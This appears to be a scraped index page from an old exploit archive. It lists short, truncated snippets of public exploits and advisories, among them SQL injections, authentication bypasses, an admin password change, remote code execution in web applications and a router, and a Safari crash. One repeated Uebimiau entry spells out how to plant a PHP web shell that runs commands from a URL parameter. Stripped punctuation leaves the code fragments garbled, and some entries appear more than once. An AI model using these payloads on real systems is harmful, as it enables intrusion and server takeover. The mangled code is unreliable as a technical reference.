Miffat 2.2 SQL Injection

?php iniset"maxexecutiontime",0; printr' || || | || o,7 || . o7 || q||| o///, : / / . /QQQQQQQQQQQQQQQQQQQ\ q Mlffat 2.2 Blind SQL Inj. /QQQ/\QQQ\ /QQQQQ/ \QQQQQQ\ q Cookie 3 /QQQQ/ QQQQ\ /QQQQ/ \QQQQ\ q http://www.mlffat.com |QQQQ/ By Qabandi \QQQQ| |QQQQ| |QQQQ| |QQQQ| From Kuwait, PEACE...

Nwahy Dir 2.1 Arbitrary Change Admin Password Exploit

No description provided by source. ? / Nwahy Dir v2.1 Change Admin Password Exploit - Author : rEcruit - Mail : [email protected] - Download : http://nwahy.com/showdownload-3105.html - Vuln in ./admincp/admininfo.php code $u = addslashes$COOKIE'username'; $query = mysqlquery "SELECT FROM dliladmi...

AdminLog 0.5 Authentication Bypass

AdminLog 0.5 Login Bypass Vulnerability + Discovered By SirGod + http://insecurity-ro.org + http://h4cky0u.org + down: http://www.manlyfamily.net/wiki/doku.php?id=programming:php:adminlog + Login Bypass - Conditions : registerglobals = ON - PoC...

Apple Safari 4.x Crash Exploit

Apple Safari 4.x JavaScript Reload Denial of Service Author : Marcell 'SkyOut' Dietl, Achim Hoffmann Email : mail at marcell-dietl dot de Vendor : http://www.apple.com/ Product : http://www.apple.com/safari/ Found : 12.06.2009 Released : 01.07.2009 Tested on: - Safari 4.0 at Windows XP SP3 - Safa...

Green Dam Change System Time

// Green Dam listen on udp port 1234 and wait for the 4 bytes time value // We can send some bytes to change the time of the dest system // testgreendamatgmail.com include include include int mainint argc, char argv try if argc != 3 std::cerr " std::endl; std::cerr "Example: testgd 192.168.0.12...

Messages Library 2.0 - Arbitrary Administrator Account

ThE g0bL!N Messages Library 2.0 Remote Add Admintsrator Account Username Password milw0rm.com 2009-06-30...

SMF Mod Member Awards 1.0.2 - Blind SQL Injection

SMF Mod Member Awards 1.0.2 - Blind SQL Injection ------------------------------------------------------------------------- SMF Component Member Awards Blind SQL-injection Vulnerability ------------------------------------------------------------------------- author: eLwaux thanks: mailbrush,...

Zen Cart 1.3.8 - Remote Code Execution

Zen Cart 1.3.8 - Remote Code Execution !/usr/bin/php | ======================================================================== | | | $system php $argv0 | | Notes: ex: http://victim.com/site no slash | | | ======================================================================== ";exit1; $url =...

Bopup Communications Server 3.2.26.5460 - Remote SYSTEM

Bopup Communications Server 3.2.26.5460 - Remote SYSTEM / bopup-down.c Copyright c 2008 by Bopup Communications Server remote SYSTEM exploit by mu-b - Sat Feb 08 2008 - Tested on: Bopup Communications Server 3.2.26.5460 Mar 18 2009 .text:00407A17 lea eax, ebp+pkt0x19 .text:00407A1D push eax...

Elgg (XSS/CSRF/Change Password) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications =============================================================== Elgg XSS/CSRF/Change Password Multiple Remote Vulnerabilities =============================================================== + CMS Elgg uploading to a host.Save as cookie.php...

Mozilla Firefox 'NPObject'访问远程代码执行漏洞

Bugraq ID: 35360 CVE ID：CVE-2009-1837 CNCVE ID：CNCVE-20091837 Mozilla Firefox是一款开放源代码的WEB浏览器。 Mozilla Firefox访问NPObject JS封装类对象的私有数据时存在竞争条件错误，远程攻击者可以利用漏洞以应用程序权限执行任意指令。 当访问NPObject属性一个封装的JSObject时NPObjWrapperNewResolve存在竞争条件错误，在装载Java...

DB Top Sites 1.0 Remote Command Execution Exploit

Exploit for unknown platform in category web applications ================================================= DB Top Sites 1.0 Remote Command Execution Exploit ================================================= ?php / ------------------------------------------------------------ + About DB Top Sites...

'Compress::Raw::Zlib' Perl模块远程代码执行漏洞

Bugraq ID: 35307 CVE ID：CVE-2009-1391 CNCVE ID：CNCVE-20091391 Compress::Raw::Zlib是一款Zlib压缩库提供perl低级接口的模块。 Compress::Raw::Zlib inflate存在缓冲区溢出，远程攻击者可以利用漏洞使应用程序崩溃或以应用程序权限执行任意指令。 Zlib.xs中的"inflate"函数存在单字节错误，当处理特殊构建的压缩数据时存在堆缓冲区溢出，可导致perl进程关起或崩溃。 Compress::Raw::Zlib 2.015 Compress::Raw::Zlib 2.014 升级程序...

Uebimiau Web-Mail 3.2.0-1.8 File Overwrite

Uebimiau Webmail After That Click Write To File Go /uebimiau/index.php?cmd=id See Pic :http://www.almlf.com/get-6-2009-almlfcomakszizl2.png Thanx To ... | || \ \ \ / / / \ / | ---| |----| | | \ / / / ^ \ | | | | | / \ / / /\ \ | | | | | | | |\ ----. | | / \ | || | || | | .| || // \ | . . / \ /...

Uebimiau Web-Mail <= v3.2.0-1.8 Remote File / Overwrite Vulnerabilities

No description provided by source. Uebimiau Webmail = v3.2.0-1.8 Remote File / Overwrite Vulnerabilities Dork : Uebimiau Webmail v3.2.0-1.8 POC : /uebimiau/admin/editor.php?load=config And You Can Write Any Code As ?php passthru$GETcmd; ? After That Click Write To File Go /uebimiau/index.php?cmd=...

Uebimiau Web-Mail 3.2.0-1.8 - Remote File Overwrite

Uebimiau Web-Mail 3.2.0-1.8 - Remote File Overwrite Uebimiau Webmail After That Click Write To File Go /uebimiau/index.php?cmd=id See Pic :http://www.almlf.com/get-6-2009-almlfcomakszizl2.png Thanx To ... | || \ \ \ / / / \ / | ---| |----| | | \ / / / ^ \ | | | | | / \ / / /\ \ | | | | | | | |...

mrcgiguy freeticket - Cookie Handling / SQL Injection

MRCGIGUY FreeTicket Multiple Remote Vulnerabilities Founder: ThE g0bL!N ------ Home: http:/www.4ckx.com/dz/ ---- Download: http://www.mrcgiguy.com/cgi-bin/freedown.cgi?id=1 Vendor:http://www.mrcgiguy.com Special Thx: Snakespc His0k4 Note: Algerie 3-1 Egypt Exploit: ------ Cookies insecure...

Virtue Shopping Mall - cid SQL Injection

Virtue Shopping Mall - cid SQL Injection CMS : Virtue Shopping Mall WEB : http://www.virtuenetz.com/mall/ Archivo : products.php Variable Tipo : GET valor : cid Tipo : SQL Injection URL : http://www.site.com/products.php?cid=SQLI Exploit : undersec@Undersec:/Escritorio$ php exploit.php...

Virtue Shopping Mall (cid) Remote SQL Injection Vulnerability

No description provided by source. CMS : Virtue Shopping Mall WEB : http://www.virtuenetz.com/mall/ Archivo : products.php Variable Tipo : GET valor : cid Tipo : SQL Injection URL : http://www.site.com/products.php?cid=SQLI Exploit : ? $web = $argv1; $url =...

Linksys WAG54G2 Web Management Console Arbitrary Command Exec

No description provided by source. 1. Linksys WAG54G2 router is a popular SOHO class device. It provides ADSL / WiFi / Ethernet interfaces. 2. When logged into web management console, it is possible to execute commands as root tested on firmware: V1.00.10. 3. PoC: GET...